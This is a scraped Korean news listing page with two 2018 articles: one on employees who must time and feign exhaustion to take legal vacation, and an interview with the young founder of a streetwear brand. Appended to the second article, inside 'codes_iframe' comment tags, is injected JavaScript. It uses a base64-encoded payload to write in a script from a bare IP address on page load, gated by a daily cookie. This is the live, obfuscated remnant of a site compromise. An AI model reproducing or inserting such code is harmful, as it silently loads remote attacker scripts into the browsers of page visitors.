  • 상사부터 선배까지 휴가 다 써야 내 차례올해 9일의 여름휴가를 떠나는 김혜리(31·여)씨는 지금의 직장으로 옮긴 후에야 휴가다운 휴가를 떠난다. 이전 회사에서 김씨는 9일은커녕 법정 휴가도 제대로 못 썼다.회사에 입사한 첫해 그는 "'휴가 편하게 쓰라'는 말을 듣고 휴가 결재를 받으려고 했다. 휴가신청서를 내밀자 상사의 얼굴은 변했다"고 회상했다.휴가 떠나는 사람들(사진=이미지투데이)"일본 바이어 오는 일정이 있는데 굳이 지금 가야겠어요?"김씨는 '그럼 왜 휴가를 편하게 쓰라는 말을 던졌냐?'고 반문하고 싶었다고 했다."1년도 안 된 신입사원인 제가 일본 바이어가 오는데 영향을 미치는 것도 아니었어요. 그런데 회사에서 중요한 일 있으니까 가지 말란 것이었죠."김씨는 야심 차게 준비한 휴가계획을 다 취소하고 상사들이 모두 휴가를 떠난 뒤에야 비로소 휴가신청서를 낼 수 있었다. 그러나 이마저도 불편했다.선배들의 휴가 일정을 정해진 후에야 기간을 휴가로 내밀었다. 당연히 친구들이 가는 좋은 휴가지를 저렴하게 가는 일은 꿈도 못 꿨다.김씨는 "차라리 아무도 안 갈 때 일찍이라도 가게 해주지 하는 생각도 들었는데 그건 '내가 휴가를 가지 않았는데 네가 먼저?'라는 괘씸죄에 걸리는 것 같았다"고 했다. 여권과 여행준비물들(사진=이미지투데이)휴가 쓰기 전에는 죽을상을 하는 연기 필요최대용(29·가명)씨는 휴가를 썼다가 뒷담화에 시달린 후로는 연기를 한다. 휴가를 결재할 때도 표정이 안 좋았던 그의 상사는 뒷담화를 했다.그의 상사는 "쟤는 휴가를 자주 길게 쓰는 애"라고 뒤에서 최씨를 욕했다뒷담화를 듣고 난 이후로 최씨는 한동안 휴가를 쓰지 못했다. 그러나 지금의 자신만의 노하우를 확립한 뒤 휴가를 쓰고 있다고 한다.최씨는 "나한테 몰린 일이 끝나고 나야 뒤탈도 없고 그때가 피곤하기도 하다"면서 "하지만 얼굴도 죽상(죽을상)으로 하고 다녀야 한다"고 말했다.최씨는 휴가 쓰기 전부터 평소 멋을 위해 썼던 왁스, 선크림도 모두 바르지 않는단다. 그는 "선배들이 '집에 무슨 일 있니? 몸이 안 좋니?" 하면서 '하긴 요새 일이 많았으니…' 말을 하기 시작하면 '몸이 좋지 않아 휴가 좀 쓰겠다'고 말한다"고 비법을 전수했다.최씨는 "법정휴가 쓰는데 연기까지 해야 하는 것이 비참하긴 한데 뒷담화 소재로 전락하지 않으려면 어쩔 수 없다"고 했다.이어 "연락하지 말라고 해외로 간다고 했는데 휴가 첫 날 어김없이 전화벨이 울린다"면서 "'죽상을 하고 요즘 무슨 일이라도 있는 애처럼 '재충전차 잠깐 휴가 내겠다'고 말하는 수법은 계속 써야 할 것 같다"고 전했다.이들이 알려주는 휴가 현명하게 쓰는 비법은 첫째 회사의 중요한 일이 있을때는 휴가를 피한다둘째 상사가 휴가계획을 밝히면 같은 일을 하는 팀내 선배들의 휴가를 피해서 휴가를 쓰도록 한다셋째 지쳤다는 것을 알리면서 얼굴을 한동안 죽상으로 하고 다니다가 휴가를 쓴다
2018.07.08 I 한정선 기자
  • [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
  • (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.07.08 I 유정수 기자

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